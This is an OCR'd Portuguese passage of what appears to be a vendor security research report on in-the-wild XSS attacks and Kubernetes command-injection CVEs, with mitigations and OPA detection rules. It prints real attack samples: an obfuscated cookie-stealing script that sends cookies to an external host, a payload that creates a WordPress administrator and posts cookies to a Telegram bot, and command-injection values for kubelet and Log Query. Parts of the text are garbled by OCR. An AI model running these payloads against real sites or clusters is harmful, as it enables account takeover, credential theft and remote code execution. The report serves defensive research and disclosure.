ng-focus="d=Sevent.view.document;d.location.hash.match(‘x1’) ? ‘'
d.location="https://XXXXXXXX.bxss.in’'"></textarea></div>

Taticas do agente de ameagas

Ao categorizar os objetivos do JavaScript de origem remota, havia muitos exemplos de
taticas reais de agente de ameaca, incluindo roubo de cookies, desfiguracao de website
e sequestro de sessdo/CSRF (falsificagdo de solicitagdo entre sites).

* Roubo de cookies. Os agentes de ameacga tentam enviar dados de cookies de sessdo
para um site que controlam para que possam usé-los em ataques de apropriacdo
indevida de contas. O exemplo a seguir tenta capturar os dados de URL, solicitante e
document.cookie e envid-los ao site do invasor em uma solicitagao XHR.
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try {
var r@;
var ri;
var r2;

try { r@ = window.btoa(eval(windowatob(‘ZG9jdW11bnQuY29va21l’))) } catch { r@ = document.cookie };
try { r1 = window.btoa(eval(window.atob(‘ZG9jdW11lbnQucmVmZXJyZXI="))) } catch { r1 = document.referrer };
try { r2 = window.btoa(eval(window.atob(‘ZG9jdW11bnQuVVJM'))) } catch { r2 = document.URL };
var xhr = null;
var x1 = “aHR@cDovL3htcy5sYSINNVIFOA==";
try { xhr = new XMLHttpRequest() } catch (e) { xhr = new ActiceXObject( ‘MicrosoftXMLHttp') };
xhr.open(window.atob( ‘cG9zdA=="), window.atob(x1), true);
xhr.setRequestHeader( ‘Content-type’, ‘application/x-www-form-urlencoded’);
xhr.send('r@=" + r@ + ‘&r1=' + r1 + ‘&r2=" + r2 + “&c=M5YE8");

} catch {

» Falsificacdao do website. Os agentes de ameaca injetam JavaScript que usa document.
documentElement.innerHTML para criar uma nova pagina HTML a ser exibida ao
cliente, como no exemplo de trecho de cédigo a seguir.

JavaScript

document.documentElement.innerHTML=String.fromCharCode(660, 33, 68, 79, 67, 84, 89, 806, 69,
32, 104, 116, 109, 108, 62, 10, 60, 164, 116, 109, 108, 32, 168, 97, 110, 103, 61, 34, 101,
110, 34, 62, 10, 10, 68, 104, 101, 97, 160, 62, 10, 32, 32, 32, 32, 60, 109, 101, 116, 97,
32, 99, 104, 97, 114, 115, 101, 116, 61, 34, 85, 84, 70, 45, 56, 34, 62, 10, 32, 32, 32, 32,
60, 109, 101, 116, 97, 32, 110, 97, 109, 101, 61, 34, 118, 185, 101, 119, 112, 111, 114, 116,
34, 32, 99, 111, 110, 116, 101, 110, 116, 61, 34, 119, 105, 100, 116, 104, 61, 100, 101, 118,
105, 99, 101, 45, 119, 105, 100, 116, 104, 44, 32, 105, 110, 105, 116, 105, 97, 108, 45, 115,
99, 97, 108, 101, 61, 49, 46, 48, 34, 62, 10, 32, 32, 32, 32, 60, 116, 165, 116, 108, 101,
62, 72, 65, 67, 75, 69, 68, 32, 66, 89, 32, 115, 107, 117, 168, 108, 50, 48, 95, 105, 114,
60, 47, 116, 105, 116, 188, 101, 62, 10, 32, 32, 32, 32, 60, 108, 105, 110, 107, 32, 114,
101, 108, 61, 34, 112, 114, 101, 99, 111, 110, 110, 101, 99, 116, 34, 32, 104, 114, 101, 102,
61, 34, 104, 116, 116, 112, 115, 58, 47, 47, 102, 111, 110, 116, 115, 46, 103, 111, 111, 103,
108, 101, 97, 112, 105, 115, 46, 99, 111, 109, 34, 62, 10, 32, 32, 32, 32, 68, 108, 105, 110,
107, 32, 114, 101, 108, 61, 34, 112, 114, 101, 99, 111, 118, 110, 101, 99, 116, 34, 32, 104,
114, 101, 102, 61, 34, 104, 116, 116, 112, 115, 58, 47, 47, 102, 111, 110, 116, 115, 46, 103,
115, 116, 97, 116, 105, 99, 46, 99, 111, 109, 34, 32, 99, 114, 111, 115, 115, 111, 114, 105,
103, 105, 110, 62, 10, 32, 32, 32, 32, 68, 108, 105, 110, 107, 32, 104, 114, 101, 102, 61,
34, 104, 116, 116, 112,

---CUT---
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cddigo subjacente e o HTML resultante com a falsificagdo

Elements Console Sources Network Performance Memory  Application  Lighthouse ) 1 A1

¢ -‘ top v ¥ Filter afault lavels v 1k
34, 115, 99, 114, 111, 188, 188, 34, 32, 168, ms 114, 191, 99, 116, 185, 111, 118, 61, 34, 114, 185, 183, 184, 116, 34, 3z,
115, 99, ll-l 111, 108, 108, 168, 161, 188, 57, 131, 61, 34, 53, 46, 48, 3, ’2 119 34,
34, 32 , 99, 113, 111, ies, ies, 97 111 111 110, 118, 61, 34, 50, 48,
114, 4 183, ll‘l 10

95 ‘g5,
1ie, 116, 62, ﬁa
1es, 101, 61, 34, 162, 111, 118, 115,
, 183, 111, 1ie, 116, 45, 115, 105, 122,

2, 97, 109, 1 g, 5 115,
131 sa, 54, 50, 112, 1zu ‘59, 3:, 99, 111, 1aa 111, 11
62, 35, 185, 114, 97, 118, 66, 47, 117, 62, 10 E

Fig. 19: Apropriagdo de website XSS

JavaScript
const start = async () => {

try {
// Fetch REST nonce from the specified URL

// Check if the response is successful and retrieve the text

// If nonce is available, proceed to create a new WordPress user
if (nonce) {
const userResponse = await fetch(‘/wp-json/wp/v2/users’, {
method: ‘POST’,
headers: {
‘X-Wp-Nonce': nonce,

‘Content-Type’: ‘application/json’
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A Figura 19 mostra uma captura de tela no navegador Brave com o DevTools aberto, o

« Sequestro de sessao/CSRF. Vimos muitos exemplos de agentes mal-intencionados
tentando executar ataques cegos de sequestro de sessdo/CSRF contra
administradores do WordPress. Essas cargas Uteis esperam que um administrador do
WordPress de alguma forma veja arquivos de log ou alguma pagina HTML com a
carga de ataque. Se essa carga Util for executada no navegador do administrador, ela
tentara capturar um valor vélido de "nonce" da API REST a partir de uma URL de ponto
de extremidade e, em seguida, adicionar contas de administrador falsas. O cddigo de
exemplo abaixo implementa a l6gica desejada e, além disso, enviard uma notificagao
para o canal do Telegram do agente mal-intencionado com os detalhes da invasao.

const nonceResponse = await fetch(‘/wp-admin/admin-ajax.php?action=rest-nonce’);

const nonce = nonceResponse.ok ? await nonceResponse.text() : null;
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body: JSON.stringify({
username: ‘admin@zzna.ru’,
password: ‘dacai@123’,
roles: [‘administrator’],

email: ‘admin@zzna.ru’
})
3

// Check if the user creation was successful or encountered a server error
if (userResponse.ok || userResponse.status === 500) {
// Get cookies

const cookies = document.cookie;

// Notify about the new user creation via Telegram including cookies
await

fetch(‘https://api.telegram.org/bot6898182997:AAGUIFwWP-BsBjDpzscyJ7pLHbiUS_Cq51NI/
sendMessage’, {

method: ‘POST’,
body: JSON.stringify({
chat_id: ‘686930213’,

text: 'URL: ${document.URL}\nNew User Created!\nCookies:

${cookies}"
1,
headers: {

‘Content-Type': ‘application/json’
}
1)
}
}

} catch (error) {

// Handle any errors during the process
console.error(error);

return false;

}
i
// Initiate the process .
.
start(); AR .
‘s . . -
[ L “ “
\ “ . L)
) ) . .
%$ s 8 3
s 8 8 g
s 8 B g
s % 8 g -
¢ % 8 g
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Ainda existe

O XSS ainda existe. Ele continua sendo uma das maiores ameagas que os aplicativos da
Web enfrentam. H4 um mundo inteiro de XSS acontecendo que vai além das caixas
pop-up PoC. Os agentes de ameagas mal-intencionados estdo aproveitando as
vulnerabilidades XSS para muitos fins prejudiciais.

As organizagdes podem ajudar a reduzir o abuso de vulnerabilidades XSS em seus
aplicativos da Web realizando varreduras de vulnerabilidades e implantando firewalls de
aplicativos da Web para ajudar a proteger sites vulneraveis. Os usuarios finais devem se
certificar de que estdo sempre usando a versdo mais recente do navegador da Web (pois
muitos tém protecdes XSS integradas) e considerar a instalagcdo de um plug-in de
seguranga, como o NoScript.
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m Seguranca de hosts

A seguranca de hosts € um elemento chave no mundo da ciberseguranga atual. Os
contéineres sdo como pacotes compactos e independentes que incluem um app e
tudo o que ele precisa executar. Ao contrario de VMs volumosas, os contéineres
funcionam diretamente com o sistema host, tornando-os leves e faceis de implantar.

Embora os contéineres oferecam flexibilidade incrivel, eles também apresentam novos
desafios de seguranga. A implementacgao da seguranga do host requer um planejamento
cuidadoso e uma compreensao profunda dos riscos potenciais. Nao estamos falando
apenas de protecao: trata-se de criar uma defesa robusta que possa se adaptaraum
cenario digital em constante mudancga. O resultado? No mundo tecnolégico atual, a
seguranga de host inteligente ndo € apenas uma op¢ao, € uma necessidade.

Nesta sec¢ao final da estrutura de seguranga em profundidade, a pesquisa mergulha
nas oportunidades e desafios do Kubernetes.

Estudo de pesquisa

Kubernetes

O Kubernetes € uma estrutura de orquestragao de contéineres de codigo aberto. Quando
o Kubernetes recebe uma infraestrutura e aplicativos (na forma de contéineres), ele sabe
como implanta-los e gerencia-los, além de lidar com balanceamento de carga, falhas e
dimensionamento de cargas de trabalho. Ele € uma grande poténcia no mundo da
computagdo distribuida e, como tal, € um alvo lucrativo para os invasores. Como o
Kubernetes é usado para gerenciar grandes partes da infraestrutura e do cédigo da
organizagao, incluindo componentes essenciais, um ataque que o viole ou explore com
sucesso pode ter um impacto significativo.

Devido a maior dependéncia do Kubernetes no mundo corporativo, iniciamos uma
jornada de pesquisa e encontramos seis CVEs no Kubernetes em 2023 e 2024 que
permitem ataques de inje¢do de comando. Esses ataques podem levar aum
comprometimento e a tomada completa do cluster Kubernetes. Também encontramos
uma falha de projeto em um projeto auxiliar, que pode permitir a exfiltragdo de dados
confidenciais ou a execugao persistente.
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Como o Kubernetes funciona

Antes de nos aprofundarmos em como o Kubernetes pode ser comprometido e
controlado, é melhor entender como ele funciona.

A menor unidade computacional em um cluster do Kubernetes é chamada de pod.

Ele consiste em um ou mais contéineres que hospedam o aplicativo que vocé deseja
executar. Os pods sdo executados em uma base compartilhnada dentro dos nds, que
sdo maquinas virtuais ou fisicas, e fornecem os recursos computacionais. Os nds
controladores, que gerenciam a orquestragao e a alocagao de recursos, supervisionam
tudo. Também é possivel criar namespaces dentro de um cluster para isolar grupos de
recursos dentro dele. Isso permite que vocé crie uma separagado dentro do cluster entre
diferentes componentes (Figura 20).

2 \
' — — |
: Namespace 1 controlador Namespace 2 :
| ( |
. ] ! .
! I
! I
! 1
! I
=) | [ |

|
! I
| I I [
" servico ) . |
! de SOL servigo nginx |
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" 1

Fig. 20: visdo geral de alto nivel da arquitetura de clusters do Kubernetes

Configuracao do Kubernetes

O Kubernetes usa arquivos YAML para praticamente tudo: desde a configuragao da
interface de rede de contéineres até o gerenciamento de pods e até mesmo o
tratamento de segredos. YAML é uma linguagem de serializacdo de dados, projetada
para ser facil para o ser humano usar. Os administradores carregam arquivos YAML no
né do controlador com as configuragdes e agdes que desejam fazer (como implantar
um novo pod) e o né do controlador cuida de tudo (Figura 21).

|

Pod

Criar solicitagdo
1/cli de pod
curl/el N6 do N6 de
' controlador ' trabalho

Fig. 21: fluxo de trabalho de implantagdo dos pods do Kubernetes
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Devido ao aspecto administrativo necessério para configurar e implantar contéineres,
qualquer vulnerabilidade no mecanismo de andlise da configuragao pode levar a
resultados devastadores, como o controle total do controlador ou dos nés de trabalho.

Ataques de injecao de comando

Normalmente, as Unicas acdes que os usuarios podem realizar em um cluster
Kubernetes sdo implantar ou remover pods. Os nés em si, que sao as maquinas reais
que executam os pods, estao fora de alcance. No entanto, para implantar esses pods,
varias acOes precisam ser executadas no sistema operacional (SO) dos nds, e essas
acgoes sao um resultado direto da configuragao fornecida pelos usuérios. A falta de
verificagdo ou limpeza de entrada pode permitir que os invasores injetem comandos do
SO na entrada, que serao acionados durante o processamento de arquivos YAML e
executados diretamente no né (Figura 22).

Privilégios elevados

)

execugao de cédigo

Criar solicitagédo
curl/cli " de pod "
Né oN Né de
’ controlador ’ X trabalho

L J

Privilégios baixos

Fig. 22: ataque de inje¢do de comando levando a execugéo direta de comandos nos nds

Existem vérias razdes para tentar assumir o controle dos nés no cluster:

* Roubo de recursos de computacao. A capacidade de executar programas
arbitrarios nos nés e pods pode permitir que os invasores hospedem suas préprias
botnets em infraestrutura hackeada ou executem operagdes de criptomineragao.

* Ponto de entrada da organizagao. Como os pods hospedam parte da |6gica da
organizagado, geralmente tém algum tipo de conectividade com o restante do data
center. Isso significa que um invasor que compromete o né pode conseguir realizar
movimento lateral e se movimentar para o restante da rede. Isso é especialmente
lucrativo para os brokers de acesso inicial, que simplesmente vendem acesso a
uma rede violada para o licitante mais alto. .

* Escalonamento de privilégios. Como os nés hospedam varios contéineres e
servigos, é possivel que seja necessario algum movimento lateral entre clusters
para obter o acesso desejado. Embora os pods geralmente ndo tenham esse
acesso, o uso de um ataque de inje¢gao de comando para comprometer o n6 pode
facilitar o acesso aos dados necessarios.
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Os volumes s3o Uteis para atualizagGes e ataques de apropriacao indevida

Nosso primeiro conjunto de vulnerabilidades, que divulgamos perto do final de 2023, estd no
recurso de volumes do Kubernetes. Volumes sdo um conjunto de diretérios compartilhados
entre os pods e 0 né de hospedagem. Como os pods sdo volateis por natureza, os volumes
foram criados para criar uma solugao de armazenamento permanente, que pode ser
modificada sem a necessidade de recriar aimagem do contéiner do pod. Isso é Util quando
vocé precisa de algo que possa ser atualizado, como um website.

Isso também é Util quando assumir o controle do cluster é necessério. A medida que os
volumes conectam o nd e o pod, eles devem apontar para os caminhos reais no sistema
de arquivos do host (o né de trabalho) e no sistema de arquivos virtual do pod. Ambos os
caminhos sdo especificados na configuragdo YAML ao implantar um novo né e sdo
interessantes para nossos objetivos (Figura 23).

volumeMounts:

- name: test
mountPath: /var
subPath: /log/syslog

volumes:
- name: test
hostPath:

l path: /var

Fig. 23: configuragdo de volume do Kubernetes

CVE-2023-3676

Especificamente, estamos interessados no parametro subpath, que especifica um
diretério relativo no host. Como parte das verificagdes realizadas neste pardmetro, o
kubelet (o servigo principal para executar contentores nos nés) verifica se € um link
simbdlico. No Windows, ele faz isso usando um comando PowerShell e transmite o
pardmetro como estd. Portanto, podemos simplesmente usar uma string de avaliagdo do
PowerShell para fazer com que ela execute um comando préprio antes de executar o
comando para verificar se o pardametro é um link simbélico (Figura 24).

Privilégios elevados
\

1 h
execugdo de codigo

volumeMounts: Criar solicitagéo
name: test curl/cli " de pod .
mountPath: cilvar N6 do N6 de
Jsubpath: $(start-process cmd) | _> _> ,&"J\
controlador

volumes : X trabalho

name: test

hostpath:

Privilégios baixos

path: c:\var

Fig. 24: explorando a verificagdo do link simbdlico do subPath
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Nés a divulgamos a equipe do Kubernetes e foi atribuida ao CVE-2023-3676. Eles
corrigiram o problema transmitindo o par@metro subPath como uma variavel de
ambiente, que ndo estava sendo avaliada antes da execuc¢ao real do comando. Ao corrigir
esse problema, eles também encontraram duas outras verificagdes de parametros
semelhantes, as quais foram atribuidas aos CVE-2023-3955 e CVE-2023-3893. O
pesquisador da Akamai, Tomer Peled, foi reconhecido como colaborador nesses CVEs.

CVE-2023-5528

Embora nosso Ultimo CVE tenha falado sobre um subparametro geral em todos os
volumes do Kubernetes, nosso préximo problema é com um tipo de volume especifico
chamado volumes locais. Originalmente, os volumes foram criados para mapear um
diretério no né do host para o pod; no caso de uma reinicializacdo do pod, ele poderia
ser atribuido a um né diferente e perder os dados na pasta mapeada. Para resolver esse
problema, o Kubernetes implementou o PersistentVolumes, que lembra o né em que
foram atribuidos para garantir que o pod nao seja reatribuido e perca seus dados.

A vulnerabilidade real € bem semelhante. No caso anterior, foi verificado se o caminho
fornecido é um link simbélico. Nesse caso, ele cria um link simbélico entre o caminho no
host e o sistema de arquivos do pod. O problema é que a criagdo do link simbdlico é feita
executando diretamente o cmd com o pardmetro de entrada nado higienizado. Isso
significa que podemos simplesmente injetar nosso préprio comando mal-intencionado
no pardmetro path e fazer com que ele seja executado sem impedimentos (Figura 25).

spec:

capacity:

storage: 100M
accessModes:
- ReadWriteOnce
persistentvolumeReclaimPolicy: Retain
storageClassName: local-storage
local:

path: C:\&calc.exe&&\

Fig. 25: inser¢do de um comando mal-intencionado na configuragao PersistentVolumes
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Isso fard com que o kubelet execute o cmd.exe e execute nosso comando ao analisar a
configuragcdo YAML (Figura 26).

[ENconnost exe (S828) Lomorat... N1 AUTHURILT LI WINGOWS \SyStem 42\C0nNost exe k4

= i kubelet.exe (45524) NT AUTHORITY.. "C:\kkubslet exe” ~hostname-ovenide=win-6ufkraasons —node-p=192.168.134.212 —=20 —resolv-conf="" —snable-debugging-handlers —cluster-dns=10.96.0.10
[ 4 Corporat._. NT AUTHORITY . cmd /o miklink /D c\war\lib\kubelet'\pods)\ 798fc5F6-7ecc-4f6b-Bb 1 2-4544 7cadbdcc wolumeshkubemetes iolocal-volume test-pv C:\8calc exeddh
= calc.exe (46312) Corporat... NT AUTHORITY\... calc exe
[ win32calc exe (46780) Corporat... NT AUTHORITY\... "C:\Windows'\System32\win32calc exe”

Fig. 26: resultado da injegdo de comando

Esta vulnerabilidade foi atribuida ao CVE-2023-5528. O Kubernetes solucionou o problema
usando uma implementagado segura da criagdo de links simbdlicos no Go (a linguagem de
programagao em que o Kubernetes foi criado), em vez de usar o comando cmd inseguro.

Sincronizacao do git em segredos de compartilhamento

Os préoximos problemas que encontramos ndo estavam diretamente no Kubernetes, mas
sim em seu projeto auxiliar git-sync. O projeto git-sync destina-se a conectar um pod e
um repositdrio git para sincronizar as alteragdes entre seu site/servidor automaticamente
em vez de fazer alteragdes manualmente por meio de uma solugao CI/CD. Por exemplo,
0S usuarios podem usar esse recurso para vincular seu pod nginx a um repositério que
contém os arquivos que eles desejam expor por meio de um pod nginx.

Ao examinar a pagina de uso do git-sync, podemos ver que ele aceita muitos parémetros
de configuragao possiveis para que um usuario possa personalizar o git-sync de acordo
com suas necessidades. Os dois parametros que mais se destacaram como possiveis
vetores de ataque foram GITSYNC _GIT e GITSYNC_PASSWORD,

e propomos dois vetores de ataque para ilumina-los.

wnloads/git-sync

L1Q. eyIhdHQLOLS LaHROCHHGLyOr dHJ LcnSLdGVZLARLZAF 1bHQUC3ZLANSAKNOZXIUbG§

3 HbV: N3prcK
) hbci01J5uUz NI LntpZCI61 LinTVKEWRISEQLS NGV LF Y3kt c2FRakZLUXMIAUAnErInD AR CEey 0Ll G N v  SvadavyLmcyY2F s Lmta3ViZXOUZAR LeySpby LGey JuvkiLC3BhY2U(g

2 I ViZXIUZXRcyS! W ;
jwiXswizxhy NzM2Mz1zMzKyLCIpYXQLOFE3MDQ30DCZOT Is Inlzcy161nhOdHBZO18va3V b it
owEh ARGk FbHUL01 JodHRWCy®3Z3hMZGY3ZATALXJ6Z2tuT iwidWLKI ot
;;;;; JCALWFLYHNEZIV3Z] Ines
JepftqoWsndr3zo- rR9wn_aUnwTdBI7uuFVzpe_iUefv_TBHpUZE JnpXE
WtOHNbC -0TBCadxsDqo21Y10z tsknLuBKyMXHdLjCt KPzSarbolill]
079

ThyviuEY
i MSMiw 11jo1c312dGVtOnNLCnZpY2Vh

hZnR1ci16MTCWNDCSMDKS0X@s ImS1Z116MTCWNDCANZMSHs Ac3vi
s 805 FycPzR6e1bCWOSXhLr JUEGL ZgMPKWPT)qcIX3JUL TwtuuRQEReYFIPRUZBSAGDT 19
34 TKes KhSzFh27OTHIHLIf _PIT2xnY3R

[ JkZWZhduix@1iwicGok1p7ImShbHU

pload-pack HTTP/1.1
pre
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Execucao furtiva de coédigo

Um invasor com privilégios baixos (privilégios de criacdo) no cluster ou no namespace pode
aplicar um arquivo YAML mal-intencionado contendo um caminho para o seu binario,
fazendo com que ele seja executado com o nome git-sync (Figura 27). O arquivo binario
precisa ser acessivel pelo pod, o que pode ser feito de algumas maneiras diferentes, como
por meio de testes do Kubernetes, volumes ou LOLBins que acompanham o pod git-sync.

spec:
containers:
- name: git-sync
image: registry.k8s.io/git-sync/git-sync:va.0.0
args:
- -v=5
volumeMounts:
- name: markdown
mountPath: /tmp/git
- name: test
mountPath: /tmp/payload
env:
- name: GITSYNC_REPO
value: https://github.com/XXXXX/YYYYY.git
- name: GITSYNC_GIT
value: /tmp/payload/payload

Fig. 27: caminho de ataque proposto

Isso ndo é exatamente uma vulnerabilidade, pois ndo estamos injetando nenhum
comando. Estamos simplesmente dizendo ao pod para usar um binario diferente para o
git, fazendo com que ele inicie uma carga mal-intencionada. Apds aplicar o arquivo
YAML de configuragdo, seréa criado um pod com git-sync.

O beneficio adicional que o git-sync oferece aos invasores é que a carga mal-
intencionada fica parcialmente oculta por trds do nome e do pod do git-sync, e é mais
provéavel que ela passe desapercebida. Isso pode ser particularmente Util para ataques
de cryptojacking, em que vocé sé precisa dos recursos computacionais.

Exfiltragao de dados

O segundo ataque envolve o pardametro GITSYNC_PASSWORD_FILE. Os usuérios do
Git-sync podem usar esse parametro para fornecer um arquivo de autenticagao para o
pod, que serd usado quando vocé se conectar ao repositorio.

Um invasor com permissoes de edigdo de alto privilégio pode apontar o valor do
pardmetro para um arquivo no pod que o invasor deseja exfiltrar e também modificar o
local do repositério git. A préxima implantagao do processo git-sync dentro do pod
enviara o arquivo solicitado no parametro GITSYNC_PASSWORD_FILE do pod

para o computador do invasor. Ndo ha restricdes nos caminhos de arquivo

ou permissoes necessarias para o GITSYNC_PASSWORD FILE.
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Uma exfiltragao de alto risco nao é dificil de imaginar. Por exemplo, os invasores podem
usar essa técnica para recuperar o token de acesso do pod, o0 que os permitiria interagir
com o cluster sob a forma do pod git-sync.

Relatamos os dois vetores de ataque a equipe do Kubernetes (Que também é
responsavel pelo git-sync), mas eles ndo foram considerados vulnerabilidades. Eles nos
incentivaram a compartilhar nossas descobertas com a comunidade, o que fizemos na
Red Team Village na DEF CON 32.

Problemas a vista

A Ultima vulnerabilidade de injecdo de comando que encontramos foi CVE-2024-9042,
e estd em um novo mecanismo de registro, chamado Log Query.

O Log Query € um recurso beta na estrutura de registro maior do Kubernetes. Esse
recurso permite que os usudrios consultem maquinas remotas para saber o status do
sistema usando o cli ou o curl. Por exemplo, um usuério pode digitar o seguinte
comando para consultar o status do servico kubelet em um né remoto:

kubectl get --raw "/api/v1/nodes/node-1.example/proxy/
logs/?query=kubelet”

Nos bastidores, as consultas sdo criadas (no né remoto) usando comandos do PowerShell,
o que despertou nossa curiosidade para saber se elas também sao vulneraveis a inje¢coes
de comando. Observando os vérios parametros que o Log Query pode receber, vimos que
o Kubernetes aprendeu com os problemas anteriores, e 0 parametro de nome de servico,
que provavelmente é o mais usado, esta sendo validado antes de ser usado.

No entanto, o Log Query oferece suporte a pesquisa por padrdo e ndo apenas pelo nome
explicito do servico, e o parametro de padrdo ndo € higienizado nem validado. Portanto,
um invasor poderia criar uma APl de Log Query com um comando mal-intencionado do
PowerShell injetado no campo de padrao, e ele seria executado no né remoto.

Curl “<Kubernetes API Proxy server IP>/api/v1/nodes/<NODE
name>/proxy/logs/?query=nssm&pattern='\$(Start-process cmd)'"”

A vulnerabilidade n3do é tdo facil de explorar, no entanto, ja que o servigo consultado nao
s6 precisa ter a Log Query beta, mas também deve fazer seu registro na estrutura do
Event Tracing for Windows (ndo na estrutura de registro padrao, klog). Isso limita
bastante os alvos de exploragé@o, mas ndo os elimina. Por exemplo, a popular interface
de rede Calico contém o Non-Sucking Service Manager, que é vulneravel.
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Deteccao e mitigagao

A melhor e mais imediata atenuacdo é, claro, corrigir suas instancias do Kubernetes para a
versao mais recente. Dito isso, existem solu¢des de detecgdo e outras estratégias de
atenuacao para reduzir o impacto que uma exploragao bem-sucedida pode ter em um
cluster sem correcgdes.

E fundamental proteger um ambiente Kubernetes com uma politica de seguranca
abrangente que aborde varios aspectos. Isso inclui politicas de seguranga de pods (Pod
Security Policies, PSPs) que descrevem os requisitos de seguranga para um pod operar em
um cluster do Kubernetes, politicas de rede que controlam como os pods se comunicam
entre si e com servigos externos e politicas de seguranca de tempo de execugdo que se
concentram na protegdo de cargas de trabalho em contéineres durante a execugao.

Por exemplo, as PSPs se concentram especificamente em controlar o aumento de
privilégios, executar contéineres com privilégios de root, acessar o sistema de arquivos do
host e outras configuracdes relacionadas a seguranca (por exemplo, recursos do kernel,
tipos de volume, acesso ao namespace do host etc.). Além disso, o uso do mecanismo de
armazenamento secreto integrado do Kubernetes pode ajudar a gerenciar com eficiéncia
senhas, certificados e chaves de AP, e sistemas automatizados de alerta e registro podem
ser implementados para identificar e responder melhor a incidentes de segurancga.

Controle de acesso baseado em funcao

O controle de acesso baseado em funcao é um método que segmenta as operagdes do
usudrio de acordo com a identidade e a fun¢do do usuério. Por exemplo, cada usuério sé pode
criar pods em seu proprio namespace ou pode exibir apenas informagdes para namespaces
permitidos. Como todas as vulnerabilidades descritas acima exigem algum nivel de privilégio
(principalmente a capacidade de implantar pods), a restrigcdo de usuérios a namespaces
especificos reduzira o raio de impacto de todo o cluster para apenas esse namespace.

Busca por ameacas

Como a maioria dessas técnicas sobrecarrega o(s) né(s) do Kubernetes, elas devem gerar
anomalias. Ao monitorar de perto essas maquinas e manter uma base de "normalidade”,
deve ser possivel gerar alertas sobre qualquer atividade pds-exploragdo. Com o suporte
do Akamai Guardicore Segmentation para Kubernetes e com a ajuda do Akamai Hunt, é
possivel manter-se a frente das ameacas emergentes.

Lembre-se de que as vulnerabilidades discutidas aqui afetam apenas os nés do Windows.

Se o seu cluster Kubernetes ndo tiver nenhum né Windows, o risco serd muito menor . "
~ . ~ VA . .
(mas ndo nulo, pois ndo somos os Unicos pesquisadores de seguranga que encontram o e, .
. .
vulnerabilidades). ,.° s, *s .
‘s . )
‘s %, * 5
Além disso, como o problema esté no cédigo-fonte, essa ameaga permanecera s ST s =
s ° L )

ativa e a exploragao dela provavelmente aumentara. E por isso que
recomendamos enfaticamente a aplicagcao de patches em seu cluster
para que ele permaneca preparado para o futuro, mesmo que nao
tenha nenhum n6é Windows no momento.
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Open Policy Agent

O Open Policy Agent (OPA) é um agente de cédigo-fonte aberto que permite que os
usuarios recebam dados sobre o trafego que entra e sai dos nds e realizem agdes baseadas
em politicas sobre os dados recebidos. Fornecemos as seguintes regras de OPA para ajudar
adetectar e bloquear possiveis tentativas de violagdo, com base nos parametros vulneraveis.

CVE-2023-3676

package kubernetes.admission

deny[msg] {

input.request.kind.kind == “Pod”

path := input.request.object.spec.containers.volumeMounts.subPath
not startswith(path, “$(")

msg := sprintf(“malicious path: %v was found”, [path])

CVE-2023-5528

package kubernetes.admission

deny[msg] {
input.request.kind.kind == “PersistentVolume”

path := input.request.object.spec.local.path
contains(path, “&")
msg := sprintf(“malicious path: %v was found”, [path])

Git-sync

package kubernetes.admission

deny[msg] {

input.request.kind.kind == “<Deployment/Pod>"

path := input.request.object.spec.env.name

contains(path, “GITSYNC_GIT")

msg := sprintf(“Gitsync binary parameter detected, possible
payload alteration, verify new binary “, [path])

}
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Insights finais

Esta cole¢cdo de pesquisas de ponta sobre ciberseguranga representa o melhor e mais
recente trabalho de centenas de pesquisadores e cientistas de dados da Akamai que estao
na vanguarda da inovagao no assunto hd mais de duas décadas. Espero que tenha
descoberto como nossa pesquisa pode ajudar vocé a elaborar estratégias praticas para
manter sua organizagao segura em 2025 e nos anos seguintes.

Para ajudar a atingir esse objetivo, aqui estd uma abordagem em quatro etapas que
combina medidas proativas com respostas reativas. Essa abordagem, juntamente com uma
estratégia que operacionaliza a pesquisa, cria uma defesa robusta contra ameacas.

Combinando medidas proativas com respostas reativas

1. Implemente a higiene cibernética basica em todos os ambientes. Atualizagdes
regulares do sistema, controles de acesso sélidos, registro abrangente e adesdo as
praticas recomendadas de seguranga formam a base de qualquer estratégia
robusta de seguranga. Essas praticas fundamentais impedem uma parte
significativa de possiveis ataques "diminuindo" efetivamente muitos "convites"
cibernéticos sem esforgo adicional.

2. Distribua seu ambiente consistentemente em niveis diferentes atras de
plataformas de segurancga. Desenvolva a higiene basica implementando varias
camadas de segurancga. Implante firewalls de aplicativos da Web, medidas de
seguranca de APIs e negacao de servico distribuida. A aplicacdo consistente dessas
camadas cria uma estratégia sélida de defesa em profundidade que resiste e repele
uma grande variedade de ciberameacgas.

3. Mantenha um foco nitido nos servigcos essenciais ao negdcio. Identifique e priorize
a protecdo das "joias da coroa" da sua organizagao, ou seja, os sistemas e dados
que, se comprometidos, podem prejudicar gravemente suas operagoes, sua
reputagdo ou seus resultados. Aloque recursos adicionais e implemente medidas
de seguranca aprimoradas para esses ativos criticos para garantir que eles recebam
o mais alto nivel de protecao.

4. Tenhauma equipe ou parceiro confiavel de resposta a incidentes a disposic¢ao.
A maioria das empresas acabara enfrentando um incidente cibernético
significativo. Quando as defesas s&o violadas, uma equipe ou um parceiro confiavel
prontamente disponivel pode fazer toda a diferenca. Seus recursos de resposta
rédpida podem ajudar sua organizagao a sobreviver ao ataque e rapidamente
recuperar, minimizar danos e restaurar rapidamente as operagdes normais. ‘e
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Esta estratégia equilibrada de quatro passos combina a sabedoria de evitar riscos
desnecessarios com o pragmatismo de estar preparado para realidades inevitaveis. Como
lider de operagdes de seguranga com décadas de experiéncia, testemunhei em primeira mao
como essa abordagem ajuda as organizagdes a evitar possiveis desastres cibernéticos e a se
recuperar rapidamente de violagdes. As organizagdes que implementam essas quatro etapas
consistentemente demonstram maior resiliéncia e adaptabilidade diante de ciberameagas.

Defesa proativa combinada com prontidao para resposta eficaz

Quando as pessoas me perguntam sobre ciberseguranga, muitas vezes me pego recorrendo
a uma fonte improvavel de sabedoria: o comediante W.C. Fields. "N&o preciso estar presente
em todas as discussdes para as quais sou convidado', brincou ele, e essa observacao
descontraida assume uma nova e poderosa dimensao no setor de ciberseguranga. Assim
como podemos optar por ndo participar de conflitos improdutivos, as organizagdes podem
decidir estrategicamente quais "convites" cibernéticos devem ser recusados.

No cenério digital, esses "convites" geralmente se manifestam como possiveis
vulnerabilidades ou vetores de ataque. Com a implementagdo de préaticas basicas de
higiene virtual, as organizacdes podem evitar muitos dos ataques cibernéticos atuais antes
de comecarem. Essa abordagem proativa permite que as empresas "recusem" uma parte
significativa das ciberameacgas sem muito esforco adicional.

Ha outra citagao que gosto de usar como contraponto, também de uma fonte improvavel: o
boxeador Mike Tyson. Como Tyson nos lembrou com firmeza: "Todo mundo tem um plano
até levar um soco na boca". Essa dura realidade apresenta um contraste interessante com a
abordagem ponderada de Fields. No setor de ciberseguranga, ambas as perspectivas fazem
